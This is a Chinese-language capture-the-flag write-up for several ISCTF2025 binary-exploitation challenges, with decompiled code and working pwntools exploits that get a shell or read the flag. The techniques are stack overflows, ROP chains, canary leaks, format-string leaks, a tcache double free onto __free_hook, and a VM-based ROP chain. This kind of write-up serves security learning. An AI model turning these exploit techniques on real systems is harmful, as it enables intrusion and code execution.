ISCTF2025 PWN

sign

__int64 __fastcall main(int a1, char **a2, char **a3)
{
_DWORD buf[38]; // [rsp+0h] [rbp-A8h] BYREF
unsigned __int64 v5; // [rsp+98h] [rbp-10h]

v5 = __readfsqword(0x28u);
memset(buf, 0, 140);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("do you like blueshark?");
if ( read(0, buf, 0x3E8uLL) <= 0 )
{
puts("");
}
else
{
printf("data.arr[2] = 0x%x\n", buf[27]);
if ( buf[27] == 0xADDAAAAA )
{
puts("blueshark likes you too!");
system("/bin/sh");
}
else
{
puts("no love anymore...");
}
}
return 0LL;
}

简单的溢出覆盖即可getshell

p=start()
p.recvuntil(b"do you like blueshark?\n")
payload=b"a"*0x6c+p64(0xADDAAAAA)
p.send(payload)
p.interactive()

ret2rop

int __fastcall main(int argc, const char **argv, const char **envp)
{
char str[10]; // [rsp+6h] [rbp-Ah] BYREF

memset(str, 0, sizeof(str));
init();
puts("if you want to watch demo");
__isoc99_scanf("%10s", str);
getchar();
if ( !strcmp(str, "yes") )
demo();
puts("now solve this pratice");
vuln();
return 0;
}

进入vuln

void __cdecl vuln()
{
$F60773D3744C13F48A6AC74423E18A6D frame; // [rsp+0h] [rbp-50h] BYREF
ssize_t n; // [rsp+40h] [rbp-10h]
ssize_t i; // [rsp+48h] [rbp-8h]

puts("please int your name");
read(0, name, 0x10uLL);
puts("please introduce yourself");
getRandom(frame.mask, 32LL);
n = read(0, &frame, 0x100uLL);
if ( n > 0 )
{
for ( i = 0LL; i < n; ++i )
frame.buf[i] ^= frame.mask[i];
}
}
 ~/ISCTF/ret2rop  checksec ./pwn                                                                                                   
[*] '/home/ubuntu/ISCTF/ret2rop/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

给了很多gadget,有后门system、pop rsi、mov rdi, rsi等等

name在bss段上

有个坑点就是虽然给了/bin/sh但是不能用,后面有一个,只能使用bss段上写入/bin/sh00来利用了

.rodata:00000000004020D0 ; const char s[]
.rodata:00000000004020D0 s db 1Bh,'[32m>>> Success: Entered target function (simulated system("/'
.rodata:00000000004020D0 ; DATA XREF: gadget_call_target+20↑o
.rodata:000000000040210E db 'bin/sh"))',1Bh,'[0m',0
.rodata:000000000040211C align 20h

这个异或也是挺有意思的

00000000 struct $F60773D3744C13F48A6AC74423E18A6D // sizeof=0x40
00000000 { // XREF: vuln/r
00000000 char buf[32];
00000020 char mask[32]; // XREF: vuln+82/o
00000040 };

也就是说后面的与前面的异或后填到前面,只需用0异或就可以保证不变

可以用pop rsi + addr(/bin/sh) + mov rdi, rsi + call system,但是实际上发现system没有16位对齐,要加一个retn

这样就是5个p64了,但是异或是隔4个p64

p64(0) + p64(0) + p64(0) + p64(0) + retn + pop rsi + addr(/bin/sh\x00) + mov rdi, rsi + call system

会变成

retn + pop rsi + addr(/bin/sh\x00) + mov rdi, rsi + call system^retn

异或是可逆的,只用将call system 改为 call system^retn 就行了

p=start()
orig_binsh_addr=0x40210d
input_binsh_addr=0x4040f0
system_addr=0x401A39
mov_rdi_addr=0x401A25
pop_rsi_addr=0x401A1C
retn_addr=0x401C15
p.recvuntil(b"if you want to watch demo\n")
p.sendline(b"no")
p.recvuntil(b"please int your name\n")
p.send(b"/bin/sh\x00")
p.recvuntil(b"please introduce yourself\n")
payload=p64(0)*(11+4)+p64(retn_addr)+p64(pop_rsi_addr)+p64(input_binsh_addr)+p64(mov_rdi_addr)+p64(0x62c)+p64(0)*8
p.send(payload)
p.interactive()

ez2048

保护详情

 ~/ISCTF/ez2048  checksec ./pwn                                                                                                   
[*] '/home/ubuntu/ISCTF/ez2048/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
char n81; // [rsp+Fh] [rbp-51h]
char dest[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+58h] [rbp-8h]

v6 = __readfsqword(0x28u);
score = 50;
init(argc, argv, envp);
printf("Welcome to ISCTF2025\ninput your name\n>");
read(0, buf, 0x32uLL);
buf[strcspn(buf, "\n")] = 0;
strcpy(dest, "Hello,");
strcat(dest, buf);
strcpy(buf, dest);
printf("%s,I won't give you the shell until you get 100,000 points,Press \"Enter\" to start the game", buf);
getchar();
while ( 1 )
{
playgame();
printf("Enter \"Q\" to settle and exit. Enter any other characters to start a new round\n>");
getchar();
n81 = getchar();
if ( n81 == 81 || n81 == 113 )
break;
getchar();
}
final();
return 0;
}

playgame没有什么漏洞

__int64 playgame()
{
unsigned int seed; // eax
char v2; // [rsp+Eh] [rbp-52h]
_BYTE v3[64]; // [rsp+10h] [rbp-50h] BYREF
char v4; // [rsp+50h] [rbp-10h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
seed = time(0LL);
srand(seed);
init_game(v3);
while ( 1 )
{
draw_game(v3);
if ( v4 )
break;
switch ( (unsigned __int8)get_user_input() )
{
case 'a':
v2 = move_left(v3);
goto LABEL_10;
case 'd':
v2 = move_right(v3);
goto LABEL_10;
case 'q':
puts("\ngame over!");
score -= 10;
printf("your score:%d\n", score);
return 0LL;
case 's':
v2 = move_down(v3);
goto LABEL_10;
case 'w':
v2 = move_up(v3);
LABEL_10:
if ( v2 )
{
spawn_new_number(v3);
v4 = check_game_over(v3);
}
break;
default:
continue;
}
}
getchar();
return 0LL;
}

主要的漏洞出在final

__int64 final()
{
puts("checking your score...");
sleep(1u);
printf("your score:%u\ntarget score:100000\n", score);
sleep(1u);
if ( (unsigned int)score <= 0x1869F )
{
puts("Your score doesn't meet the target,so you are not suitable for the flag yet...");
}
else
{
puts("here is your shell");
sleep(1u);
shell();
}
sleep(1u);
return 0LL;
}

将一个int的类型转换为unsigned int,这样就可以利用playgame的q反复扣除分数到负数,这样比较时就把score当作了一个很大的正数,经典的漏洞了

再来看shell

__int64 shell()
{
int v1; // [rsp+Ch] [rbp-94h]
_QWORD buf[18]; // [rsp+10h] [rbp-90h] BYREF

buf[17] = __readfsqword(0x28u);
getchar();
while ( 1 )
{
while ( 1 )
{
memset(buf, 0, 128);
printf("$ ");
v1 = read(0, buf, 0x128uLL);
if ( v1 >= 0 )
break;
perror("read error");
}
if ( v1 > 0 && *((_BYTE *)buf + v1 - 1) == 10 )
*((_BYTE *)buf + v1 - 1) = 0;
printf("executing command: ");
puts((const char *)buf);
sleep(1u);
if ( !strcmp((const char *)buf, "exit") )
break;
if ( !strcmp((const char *)buf, "ls") )
system((const char *)buf);
else
printf("command not found: %s\n", (const char *)buf);
}
return 0LL;
}

第一眼看到的是只能执行对应命令,而不是任意命令,第二眼却发现这个函数有栈溢出

可以利用溢出泄露出canary,使用一字节覆盖canary的,这样就可以打印出canary的其他部分

这题还给了gadget,所以得到canary后,利用ret2text很容易就可以getshell

一样是可以在一开始的buf中写入/bin/sh

.bss:0000000000404A40 ; char buf[56]
.bss:0000000000404A40 buf db 38h dup(?) ; DATA XREF: main+48↑o
.bss:0000000000404A40 ; main+66↑o ...
.bss:0000000000404A40 _bss ends
.bss:0000000000404A40

exp如下

p=start()
pop_rdi_addr=0x40133E
call_system_addr=0x401514
p.recvuntil(b"Welcome to ISCTF2025\ninput your name\n>")
p.send(b"/bin/sh\x00\x00")
p.recvuntil(b"Press \"Enter\" to start the game")
p.send(b"\n")
for i in range(5):
sleep(0.1)
p.send(b"q\n")
p.recvuntil(b"Enter any other characters to start a new round\n>")
p.send(b"a\n")
sleep(0.1)
p.send(b"q\n")
p.recvuntil(b"Enter any other characters to start a new round\n>")
p.send(b"Q\n")
p.recvuntil(b"$ ")
payload0=b"a"*0x89
p.send(payload0)
p.recvuntil(b"a"*0x89)
canary_leak = p.recvn(7)
canary_bytes = b'\x00'+canary_leak
canary = u64(canary_bytes)
log.success(f"完整 canary(8 字节): 0x{canary:016x}")
payload=b"exit\x00\x00\x00\x00"+b"\x00"*0x80+p64(canary)+p64(0)+p64(pop_rdi_addr)+p64(0x404A46)+p64(call_system_addr)
p.send(payload)
p.interactive()

ez_tcache_attachment

一道堆题,保护如下

 ~/ISCTF/ez_tcache_attachment  checksec ./pwn                                                                                       
[*] '/home/ubuntu/ISCTF/ez_tcache_attachment/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No

经典菜单

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int n2; // eax

inital(argc, argv, envp);
welcome();
while ( 1 )
{
while ( 1 )
{
menu();
n2 = get_int();
if ( n2 != 2 )
break;
delete();
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
show();
}
else
{
if ( n2 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice!");
}
}
else
{
if ( n2 != 1 )
goto LABEL_13;
add();
}
}
}

没什么好说的,只有UAF,没有edit函数

int add()
{
_BYTE *n10; // rax
unsigned int i_1; // [rsp+0h] [rbp-10h]
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned int size; // [rsp+8h] [rbp-8h]
int size_4; // [rsp+Ch] [rbp-4h]

i_1 = -1;
for ( i = 0; i <= 0x15; ++i )
{
if ( !nodes[i] )
{
i_1 = i;
break;
}
}
if ( i_1 == -1 )
{
LODWORD(n10) = puts("Out of space!");
}
else
{
printf("Size: ");
size = get_int();
if ( size <= 0x400 )
{
nodes[i_1] = malloc(size);
printf("Content: ");
size_4 = read_n(nodes[i_1], size);
LODWORD(n10) = *(unsigned __int8 *)((unsigned int)(size_4 - 1) + nodes[i_1]);
if ( (_BYTE)n10 == 10 )
{
n10 = (_BYTE *)((unsigned int)(size_4 - 1) + nodes[i_1]);
*n10 = 0;
}
}
else
{
LODWORD(n10) = puts("Invalid size!");
}
}
return (int)n10;
}
void delete()
{
unsigned int n0x15; // [rsp+Ch] [rbp-4h]

printf("Index: ");
n0x15 = get_int();
if ( n0x15 <= 0x15 && nodes[n0x15] )
free((void *)nodes[n0x15]);
else
puts("Invalid index!");
}
int show()
{
unsigned int n0x15; // [rsp+Ch] [rbp-4h]

printf("Index: ");
n0x15 = get_int();
if ( n0x15 <= 0x15 && nodes[n0x15] )
return printf("Content: %s\n", (const char *)nodes[n0x15]);
else
return puts("Invalid index!");
}

glibc版本是2.29,在libc中有检查

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

最开始就是想打__free_hook,写ogg,但是好像不行,只能用system了

先将tcache填满在放一个到unsortedbin中利用UAF得到libc基址

要在没有edit的情况下修改透过tcache检查进行double free,再进行修改tcache的fd指向__free_hook,申请出来写入system,再free掉一个写着/bin/sh00的堆就可以实现了,这就是最朴素的想法

如何修改fd呢?

我这里利用了前向合并,产生堆块堆叠,合并后再申请回来时写入fd,这样就可以绕过检查,而且可以将物理相邻的下一个堆块的prev_inuse设为1,这样就可以double free了,不过再次之前先从tcache取出一个让double free的堆块进人tcache

注意这里还是有堆块重叠,再将合并的堆块释放,再申请回来,将double free的堆块的fd改为指向`__free_hook,申请两次就可以得到__free_hook所在地址的堆块了,后面就简单了

def add(idx,size, data=b''):
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size: ', str(size))
p.sendlineafter(b'Content: ', data) # 使用sendafter而非sendlineafter,避免添加额外换行符

def delete(idx):
p.sendlineafter(b'Your choice: ', b'2')
p.sendlineafter(b'Index: ', str(idx))

def show(idx):
p.sendlineafter(b'Your choice: ', b'3')
p.sendlineafter(b'Index: ', str(idx))

p=start()
add(0,0x80,b'b'*0x10)
add(1,0x80,b'A'*0x10)
add(2,0x80,b'b'*0x10)
add(3,0x80,b'b'*0x10)
add(4,0x20,b'B'*0x10)
add(5,0x80,b'A'*0x10)
add(6,0x80,b'A'*0x10)
add(7,0x80,b'A'*0x10)
add(8,0x80,b'A'*0x10)
add(9,0x80,b'A'*0x10)
add(10,0x80,b'A'*0x10)
add(11,0x80,b'A'*0x10)


delete(5)
delete(6)
delete(7)
delete(8)
delete(9)
delete(10)
delete(11)
#pause()
delete(1)
show(1)
main_arena_addr = u64(p.recvuntil(b'\n', drop=True)[-6:].ljust(8, b'\x00'))
log.success(f"main_arena_addr: {hex(main_arena_addr)}")
libc_base = main_arena_addr - 0x1e4ca0
log.success(f"libc_base: {hex(libc_base)}")
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.success(f"__free_hook: {hex(free_hook_addr)}")
log.success(f"system: {hex(system_addr)}")
ogg_addr=libc_base+0x106ef8

delete(0)
delete(2)
add(12,0x110,b'B'*0x80+p64(0)+p64(0x91)+p64(free_hook_addr)*2)
add(13,0x80,p64(free_hook_addr)*2)
delete(1)
delete(12)
add(14,0x110,b'B'*0x80+p64(0)+p64(0x91)+p64(free_hook_addr)*2)
add(15,0x80,b"/bin/sh\x00")
add(16,0x80,p64(system_addr))
#pause()
delete(15)

p.interactive()

ez_fmt

保护如下

 ~/ISCTF/ez_fmt  checksec ./pwn                                                                                                   
[*] '/home/ubuntu/ISCTF/ez_fmt/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
vuln();
return 0;
}
unsigned __int64 vuln()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Welcome to ISCTF!");
printf("1st input: ");
read(0, buf, 0x100uLL);
printf(buf);
puts("\n[leak end]\n");
printf("2nd input: ");
read(0, buf, 0x200uLL);
puts("Goodbye!");
return v2 - __readfsqword(0x28u);
}

有后门函数,一个简单的ret2text

利用格式化字符串漏洞泄露出canary和elf基址就可以写rop链了

p=start()
p.recvuntil(b"1st input: ")
payload1=b"%23$pa%25$p"
p.send(payload1)
p.recvuntil(b"0x")
canary=int(p.recv(16),16)
log.success(hex(canary))
p.recvuntil(b"a")
p.recvuntil(b"0x")
elf_addr=int(p.recv(12),16)-97-0x12FA
log.success(hex(elf_addr))
p.recvuntil(b"2nd input: ")
win_addr=elf_addr+0x1202
payload2=b"a"*0x88+p64(canary)+p64(0)+p64(win_addr)
p.send(payload2)
p.interactive()

my_vm

第一次写vm题,保护如下

 ~/ISCTF/my_vm  checksec ./pwn                                                                                                     
[*] '/home/ubuntu/ISCTF/my_vm/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

开了沙箱

 ~/ISCTF/my_vm  seccomp-tools dump ./pwn                                                                                           
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

函数如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v6; // [rsp+Ch] [rbp-1024h]
__int64 v7; // [rsp+10h] [rbp-1020h] BYREF
void *ptr; // [rsp+18h] [rbp-1018h]
_QWORD v9[514]; // [rsp+20h] [rbp-1010h]

v9[513] = __readfsqword(0x28u);
v6 = 0;
init(argc, argv, envp);
while ( 1 )
{
__isoc99_scanf("%ld", &v7);
ptr = (void *)ret_code(v7);
switch ( *(_WORD *)ptr )
{
case 0:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 3)] + reg[*((__int16 *)ptr + 2)];
break;
case 1:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 2)] - reg[*((__int16 *)ptr + 3)];
break;
case 2:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 2)] * reg[*((__int16 *)ptr + 3)];
break;
case 3:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 2)] / reg[*((__int16 *)ptr + 3)];
break;
case 4:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 2)] << reg[*((__int16 *)ptr + 3)];
break;
case 5:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 2)] >> reg[*((__int16 *)ptr + 3)];
break;
case 6:
reg[*((__int16 *)ptr + 1)] = reg[*((__int16 *)ptr + 3)] ^ reg[*((__int16 *)ptr + 2)];
break;
case 7:
v3 = v6++;
v9[v3] = reg[*((__int16 *)ptr + 1)];
break;
case 8:
if ( !v6 )
exit(0);
v4 = v6--;
reg[*((__int16 *)ptr + 1)] = v9[v4];
break;
default:
break;
}
if ( *(_WORD *)ptr == 9 )
return 0;
free(ptr);
ptr = 0LL;
}
}
_WORD *__fastcall ret_code(__int64 a1)
{
__int64 v2; // [rsp+8h] [rbp-18h] BYREF
char *v3; // [rsp+10h] [rbp-10h]
_WORD *v4; // [rsp+18h] [rbp-8h]

v2 = a1;
v3 = (char *)&v2;
v4 = malloc(8uLL);
*v4 = *v3;
v4[1] = v3[1];
v4[2] = v3[2];
v4[3] = v3[3];
return v4;
}

简单来说就是如果是输入0x04030201,就是01是操作码,在这个程序指相减,02指存储位置是reg[2],03和04指进行运算的位置为reg[3]、reg[4]

一般来说,虚拟寄存器都在bss段上,而且数组索引可以是负数,这样就可以使用负索引泄露libc地址

.bss:0000000000202020 ; ===========================================================================
.bss:0000000000202020
.bss:0000000000202020 ; Segment type: Uninitialized
.bss:0000000000202020 ; Segment permissions: Read/Write
.bss:0000000000202020 _bss segment align_32 public 'BSS' use64
.bss:0000000000202020 assume cs:_bss
.bss:0000000000202020 ;org 202020h
.bss:0000000000202020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000202020 public stdout@@GLIBC_2_2_5
.bss:0000000000202020 ; FILE *stdout
.bss:0000000000202020 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: init+4↑r
.bss:0000000000202020 ; LOAD:0000000000203198↓o
.bss:0000000000202020 ; Alternative name is 'stdout'
.bss:0000000000202020 ; Copy of shared data
.bss:0000000000202028 align 10h
.bss:0000000000202030 public stdin@@GLIBC_2_2_5
.bss:0000000000202030 ; FILE *stdin
.bss:0000000000202030 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: init+22↑r
.bss:0000000000202030 ; LOAD:00000000002031E0↓o
.bss:0000000000202030 ; Alternative name is 'stdin'
.bss:0000000000202030 ; Copy of shared data
.bss:0000000000202038 align 20h
.bss:0000000000202040 public stderr@@GLIBC_2_2_5
.bss:0000000000202040 ; FILE *stderr
.bss:0000000000202040 stderr@@GLIBC_2_2_5 dq ? ; DATA XREF: init+40↑r
.bss:0000000000202040 ; LOAD:0000000000203228↓o
.bss:0000000000202040 ; Alternative name is 'stderr'
.bss:0000000000202040 ; Copy of shared data
.bss:0000000000202048 completed_7698 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0000000000202048 ; __do_global_dtors_aux+28↑w
.bss:0000000000202049 align 20h
.bss:0000000000202060 public reg
.bss:0000000000202060 ; __int64 reg[16]
.bss:0000000000202060 reg dq 10h dup(?) ; DATA XREF: main+AC↑o
.bss:0000000000202060 ; main+CD↑o ...
.bss:0000000000202060 _bss ends
.bss:0000000000202060

在虚拟寄存器中计算好偏移并构造地址,使用push将地址放入栈中,这样就可以构造rop链

值得注意的是,当栈上的索引v6刚好指向canary时,可以使用pop将canary放入reg中,后面再用reg的canary使用push到原来的栈上的canary,这样就不会破坏canary,可以绕过canary保护

def crun(content):
p.sendline(str(content).encode())
sleep(0.01)

def add(times):
crun(0x10e0700)
for i in range(times):
crun(0x2070702)
crun(0x7080800)

p=start()
for i in range(513):
crun(0xa07) #移动v6指向canary

crun(0xb08) #将canary储存在0xb
crun(0xa07) #由于pop一次,再push一次
crun(0xb07) #push canary
crun(0xa07) #push rbp

#open
crun(0x1f00001) # num=libc
crun(0x103) # num=1
crun(0x1010204) # num=2
crun(0x1020304) # num=4
crun(0x1030404) # num=8
crun(0x2030504) # num=16

#open 0xea720 read 0xeaa10 write 0xeaab0
#pop rdi 0x625 rsi 0x2091 rdx 0x666e9

crun(0x2040600) # 10
crun(0x6010704) # 1024
crun(0x1070805) # 512
crun(0x7080700)
crun(0x3010804)
crun(0x1080804)
crun(0x7080700)
crun(0x7030700)
crun(0x7010700)
crun(0x7000700)
crun(0x707)

crun(0x9f50900) # num=elf
crun(0x4050602)
crun(0x6050600)
crun(0x6050600)
crun(0x6050600)
crun(0x6040600)
crun(0x6090600)
crun(0x607)

crun(0x8080801)
add(38)
add(37)
add(34)
add(33)
add(32)
add(30)
add(29)
add(24)
add(22)
add(21)
add(19)
add(18)
add(14)
add(13)
add(10)
add(9)
add(5)
add(3)
add(2)
add(1)
crun(0x1080c00)

crun(0x8080801)
add(13)
add(7)
add(4)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x807)

crun(0x8080801)
add(19)
add(18)
add(17)
add(15)
add(13)
add(10)
add(9)
add(8)
add(5)
crun(0x8000800)
crun(0x807)

#read
crun(0x8080801)
add(10)
add(9)
add(5)
add(2)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x1020800)
crun(0x807)

crun(0x8080801)
add(13)
add(7)
add(4)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x5050802)
crun(0x9080800)
crun(0x807)

crun(0x8080801)
add(18)
add(17)
add(14)
add(13)
add(10)
add(9)
add(7)
add(6)
add(5)
add(3)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x5050802)
crun(0x807)

crun(0x8080801)
crun(0x807)

crun(0x8080801)
add(19)
add(18)
add(17)
add(15)
add(13)
add(11)
add(9)
add(4)
crun(0x8000800)
crun(0x807)

#write
crun(0x8080801)
add(10)
add(9)
add(5)
add(2)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x1080800)
crun(0x807)

crun(0x8080801)
add(13)
add(7)
add(4)
crun(0x1080800)
crun(0x8000800)
crun(0x807)

crun(0x8080801)
crun(0x5050802)
crun(0x9080800)
crun(0x807)

crun(0x8080801)
add(19)
add(18)
add(17)
add(15)
add(13)
add(11)
add(9)
add(7)
add(5)
add(4)
crun(0x8000800)
crun(0x807)

crun(0x9) # 触发rop链

p.interactive()

ez_stack

保护如下

 ~/ISCTF/ezstack  checksec ./pwn                                                                                                   
[*] '/home/ubuntu/ISCTF/ezstack/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_1429(a1, a2, a3);
sub_13B3(0LL, 0x114514000LL, 16LL);
sub_150A();
sub_1785();
sub_1637();
return 0LL;
}
unsigned __int64 sub_1429()
{
int v1; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
_BYTE Welcome_to_ISCTF2025_[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 23; ++i )
{
Welcome_to_ISCTF2025_[i] = 0;
++v1;
}
qmemcpy(Welcome_to_ISCTF2025_, "Welcome to ISCTF2025!", 21);
sub_1343(Welcome_to_ISCTF2025_);
sub_1149(0x114514000LL, 4096LL, 7LL, 34LL, -1LL, 9LL);
return v4 - __readfsqword(0x28u);
}
__int64 __fastcall sub_13B3(int a1, __int64 a2, int i_2)
{
__int64 i_1; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
i_1 = i;
if ( i == i_2 )
break;
sub_1149(a1, (int)i + a2, 1LL, 0LL, 0LL, 0LL);
i_1 = *(unsigned __int8 *)((int)i + a2);
if ( (_BYTE)i_1 == 10 )
break;
}
return i_1;
}
unsigned __int64 sub_150A()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
int i; // [rsp+10h] [rbp-30h]
int j; // [rsp+14h] [rbp-2Ch]
_BYTE NO_SYSTEMCALL_HACK_[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
v1 = 0;
for ( i = 0; i <= 23; ++i )
{
NO_SYSTEMCALL_HACK_[i] = 0;
++v2;
}
qmemcpy(NO_SYSTEMCALL_HACK_, "NO SYSTEMCALL HACK!", 19);
for ( j = 0; j <= 31; ++j )
{
if ( *(_BYTE *)(j + 0x114514000LL) == 15 && *(_BYTE *)(j + 0x114514001LL) == 5 )
++v1;
if ( v1 > 1 )
{
sub_1343((__int64)NO_SYSTEMCALL_HACK_);
sub_1149(0LL, 0LL, 0LL, 0LL, 0LL, 60LL);
}
}
return v6 - __readfsqword(0x28u);
}
unsigned __int64 sub_1785()
{
int i; // [rsp+Ch] [rbp-34h]
__int64 (__fastcall *main_1)(__int64, char **, char **); // [rsp+10h] [rbp-30h] BYREF
__int64 v3; // [rsp+18h] [rbp-28h] BYREF
_BYTE DO_YOU_LIKE_GIFT?[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
main_1 = main;
v3 = (__int64)&v3;
for ( i = 0; i <= 23; ++i )
DO_YOU_LIKE_GIFT?[i] = 0;
qmemcpy(DO_YOU_LIKE_GIFT?, "DO YOU LIKE GIFT?", 17);
sub_1343((__int64)DO_YOU_LIKE_GIFT?);
sub_1343((__int64)&main_1);
sub_1343((__int64)&v3);
return v5 - __readfsqword(0x28u);
}
__int64 sub_1637()
{
int v1; // [rsp+0h] [rbp-130h]
int i; // [rsp+4h] [rbp-12Ch]
_BYTE RET_ADDR_ERROR[16]; // [rsp+10h] [rbp-120h] BYREF
__int64 a2[34]; // [rsp+20h] [rbp-110h] BYREF

a2[33] = __readfsqword(0x28u);
for ( i = 0; i <= 15; ++i )
{
RET_ADDR_ERROR[i] = 0;
++v1;
}
qmemcpy(RET_ADDR_ERROR, "RET ADDR ERROR", 14);
sub_13B3(0, (__int64)a2, 4096);
return 0LL;
}

几个分支函数是这样的

__int64 __fastcall sub_13B3(int a1, __int64 a2, int i_2)
{
__int64 i_1; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
i_1 = i;
if ( i == i_2 )
break;
sub_1149(a1, (int)i + a2, 1LL, 0LL, 0LL, 0LL);
i_1 = *(unsigned __int8 *)((int)i + a2);
if ( (_BYTE)i_1 == 10 )
break;
}
return i_1;
}
__int64 __fastcall sub_1343(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
;
sub_1149(1LL, a1, i, 0LL, 0LL, 1LL);
sub_12B2();
return (unsigned int)(i + 1);
}
unsigned __int64 sub_12B2()
{
unsigned __int64 v1; // [rsp+18h] [rbp-8h]

v1 = __readfsqword(0x28u);
sub_1149();
return v1 - __readfsqword(0x28u);
}

可以看见整个题的核心就是sub_1149(),这个控制着syscall

.text:0000000000001149 ; __int64 sub_1149()
.text:0000000000001149 sub_1149 proc near ; CODE XREF: sub_117E+3B↓p
.text:0000000000001149 ; sub_117E+118↓p ...
.text:0000000000001149
.text:0000000000001149 var_30 = qword ptr -30h
.text:0000000000001149 var_28 = qword ptr -28h
.text:0000000000001149 var_20 = qword ptr -20h
.text:0000000000001149 var_18 = qword ptr -18h
.text:0000000000001149 var_10 = qword ptr -10h
.text:0000000000001149 var_8 = qword ptr -8
.text:0000000000001149
.text:0000000000001149 ; __unwind {
.text:0000000000001149 endbr64
.text:000000000000114D push rbp
.text:000000000000114E mov rbp, rsp
.text:0000000000001151 mov [rbp+var_8], rdi
.text:0000000000001155 mov [rbp+var_10], rsi
.text:0000000000001159 mov [rbp+var_18], rdx
.text:000000000000115D mov [rbp+var_20], rcx
.text:0000000000001161 mov [rbp+var_28], r8
.text:0000000000001165 mov [rbp+var_30], r9
.text:0000000000001169 mov rax, r9
.text:000000000000116C mov r10, rcx
.text:000000000000116F mov r9, r8
.text:0000000000001172 xor r9, r9
.text:0000000000001175 syscall ; LINUX -
.text:0000000000001177 mov eax, 0
.text:000000000000117C pop rbp
.text:000000000000117D retn
